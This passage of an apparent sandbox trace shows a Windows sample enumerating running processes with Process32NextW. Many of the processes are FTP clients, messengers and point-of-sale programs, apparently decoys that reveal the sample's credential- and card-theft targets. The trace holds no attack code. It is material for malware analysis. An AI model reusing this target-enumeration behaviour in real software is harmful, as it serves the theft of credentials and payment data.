| out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.837] lstrlenW (lpString="svchost.exe") returned 11 [0069.837] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0069.838] lstrlenW (lpString="taskeng.exe") returned 11 [0069.838] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.839] lstrlenW (lpString="taskhost.exe") returned 12 [0069.839] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.840] lstrlenW (lpString="svchost.exe") returned 11 [0069.840] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0069.841] lstrlenW (lpString="sppsvc.exe") returned 10 [0069.841] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.842] lstrlenW (lpString="svchost.exe") returned 11 [0069.842] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0069.843] lstrlenW (lpString="barrelsince.exe") returned 15 [0069.843] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0069.844] lstrlenW (lpString="cricket.exe") returned 11 [0069.844] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0069.845] lstrlenW (lpString="angelsalot.exe") returned 14 [0069.845] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0069.846] lstrlenW (lpString="bridge.exe") returned 10 [0069.846] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0069.847] lstrlenW (lpString="sh_shipping.exe") returned 15 [0069.847] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0069.847] lstrlenW (lpString="tobacco packet.exe") returned 18 [0069.848] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0069.848] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0069.848] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0069.849] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0069.849] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0069.850] lstrlenW (lpString="widespread.exe") returned 14 [0069.850] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0069.851] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0069.851] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0069.852] lstrlenW (lpString="zinc.exe") returned 8 [0069.852] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0069.853] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0069.853] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0069.854] lstrlenW (lpString="construction_rice.exe") returned 21 [0069.854] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0069.856] lstrlenW (lpString="mask.exe") returned 8 [0069.856] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0069.857] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0069.857] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0069.858] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0069.858] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0069.859] lstrlenW (lpString="curve standing.exe") returned 18 [0069.859] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0069.860] lstrlenW (lpString="3dftp.exe") returned 9 [0069.860] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0069.861] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0069.861] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0069.862] lstrlenW (lpString="alftp.exe") returned 9 [0069.862] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0069.863] lstrlenW (lpString="barca.exe") returned 9 [0069.863] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0069.864] lstrlenW (lpString="bitkinex.exe") returned 12 [0069.864] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0069.865] lstrlenW (lpString="coreftp.exe") returned 11 [0069.865] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0069.866] lstrlenW (lpString="far.exe") returned 7 [0069.866] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0069.867] lstrlenW (lpString="filezilla.exe") returned 13 [0069.867] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0069.868] lstrlenW (lpString="flashfxp.exe") returned 12 [0069.868] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0069.869] lstrlenW (lpString="fling.exe") returned 9 [0069.869] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0069.869] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0069.869] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0069.870] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0069.871] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0070.726] lstrlenW (lpString="icq.exe") returned 7 [0070.726] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0070.727] lstrlenW (lpString="leechftp.exe") returned 12 [0070.727] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0070.729] lstrlenW (lpString="ncftp.exe") returned 9 [0070.729] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0070.731] lstrlenW (lpString="notepad.exe") returned 11 [0070.731] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0070.732] lstrlenW (lpString="operamail.exe") returned 13 [0070.732] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0070.733] lstrlenW (lpString="pidgin.exe") returned 10 [0070.733] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0070.735] lstrlenW (lpString="scriptftp.exe") returned 13 [0070.735] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0070.736] lstrlenW (lpString="skype.exe") returned 9 [0070.736] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0070.738] lstrlenW (lpString="smartftp.exe") returned 12 [0070.738] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0070.739] lstrlenW (lpString="thunderbird.exe") returned 15 [0070.739] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0070.741] lstrlenW (lpString="totalcmd.exe") returned 12 [0070.741] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0070.742] lstrlenW (lpString="trillian.exe") returned 12 [0070.742] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0070.743] lstrlenW (lpString="webdrive.exe") returned 12 [0070.743] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0070.745] lstrlenW (lpString="whatsapp.exe") returned 12 [0070.745] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0070.746] lstrlenW (lpString="winscp.exe") returned 10 [0070.746] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0070.748] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0070.748] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0070.749] lstrlenW (lpString="active-charge.exe") returned 17 [0070.749] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0070.750] lstrlenW (lpString="accupos.exe") returned 11 [0070.750] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0070.752] lstrlenW (lpString="afr38.exe") returned 9 [0070.752] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0070.753] lstrlenW (lpString="aldelo.exe") returned 10 [0070.753] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0070.754] lstrlenW (lpString="ccv_server.exe") returned 14 [0070.754] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0070.755] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0070.755] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0070.756] lstrlenW (lpString="creditservice.exe") returned 17 [0070.756] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0070.758] lstrlenW (lpString="edcsvr.exe") returned 10 [0070.758] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0070.759] lstrlenW (lpString="fpos.exe") returned 8 [0070.759] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0070.902] lstrlenW (lpString="isspos.exe") returned 10 [0070.902] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0070.903] lstrlenW (lpString="mxslipstream.exe") returned 16 [0070.903] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0070.904] lstrlenW (lpString="omnipos.exe") returned 11 [0070.904] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0070.905] lstrlenW (lpString="spcwin.exe") returned 10 [0070.905] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0070.905] lstrlenW (lpString="spgagentservice.exe") returned 19 [0070.905] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0070.906] lstrlenW (lpString="utg2.exe") returned 8 [0070.906] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0070.907] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0070.907] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0070.908] lstrlenW (lpString="increases.exe") returned 13 [0070.908] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.908] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0070.908] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.909] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0070.909] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0070.910] lstrlenW (lpString="driver.exe") returned 10 [0070.910] Process32NextW (in: hSnapshot=0x19c, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 